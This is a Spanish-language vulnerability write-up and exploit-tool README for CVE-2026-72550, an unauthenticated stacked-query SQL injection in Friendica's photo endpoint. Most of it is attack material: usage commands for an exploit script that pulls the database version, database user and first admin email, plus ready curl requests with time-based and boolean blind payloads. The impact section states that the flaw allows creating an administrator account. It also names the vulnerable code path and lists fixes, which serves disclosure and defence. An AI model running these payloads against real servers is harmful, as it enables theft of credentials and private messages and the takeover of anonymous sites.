CVE-2026-72550 — Inyección SQL no autenticada en Friendica

La inyección SQL de consultas apiladas no autenticada en el endpoint de fotos de Friendica permite que cualquier visitante ejecute SQL arbitrario.

Resumen

El endpoint de vista de fotos en Friendica toma el parámetro de consulta order y lo concatena, sin escapar, en una sentencia SHOW COLUMNS ... LIKE '...' que se ejecuta mediante un PDO::query() sin protección — lo que permite múltiples sentencias. No se requiere inicio de sesión y, en una instalación estándar (block_public está desactivado por defecto), cualquier foto visible públicamente es suficiente. Debido a que PDO::query() ejecuta sentencias apiladas, un atacante anónimo no solo lee datos: ejecuta SQL arbitrario, incluidos INSERT/UPDATE para crear un usuario administrador.

Ruta de código vulnerable

mod/photos.php:673              — reads raw $_GET['order']
DBStructure::existsColumn()     — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
  src/Database/DBStructure.php:714
DBA::p() → PDO::query()         — executes with stacked statements enabled

La ruta de solicitud predeterminada llega a este código: $cmd tiene como valor predeterminado 'view' (satisfaciendo la condición $cmd === 'view') y no_count está desactivado, por lo que no se necesita autenticación ni ninguna configuración no predeterminada.

Uso

# Install dependency
pip install requests

# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only

# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version

# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user

# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name

# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email

Parámetros

Reproducción manual

No se necesitan cookies ni autenticación. Apunta a cualquier resource-id de una foto pública:

# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=created"

# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"

Payload decodificado: x';SELECT SLEEP(5)-- -

El SQL inyectado queda así:

SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'

Extracción booleana ciega

# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"

# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"

Impacto

Un atacante no autenticado puede:

• Leer cualquier dato de la base de datos (extracción ciega de credenciales, correos electrónicos, mensajes privados)
• Escribir filas arbitrarias — incluida la creación de una cuenta de administrador mediante INSERT INTO user
• Modificar datos existentes — escalar a cualquier usuario a administrador, alterar publicaciones, restablecer contraseñas
• Eliminar datos o soltar tablas (denegación de servicio)

Esto es un compromiso total de la base de datos alcanzable por cualquier visitante anónimo en una instalación predeterminada de Friendica.

Corrección

1. Validar order contra la lista blanca de columnas conocidas antes de usarlo
2. Usar consultas parametrizadas en lugar de concatenación de cadenas en SHOW COLUMNS
3. Deshabilitar la ejecución de múltiples sentencias en la conexión PDO (PDO::ATTR_EMULATE_PREPARES => false)

Cronología

Descargo de responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsala solo contra sistemas que te pertenezcan o para los que tengas permiso escrito explícito para realizar pruebas. El autor no asume ninguna responsabilidad por el mal uso.

Créditos

Descubierto por Bobur Abdugafforov (@abdugafforov-bobur)

CVE asignado a través del CNA de TuranSec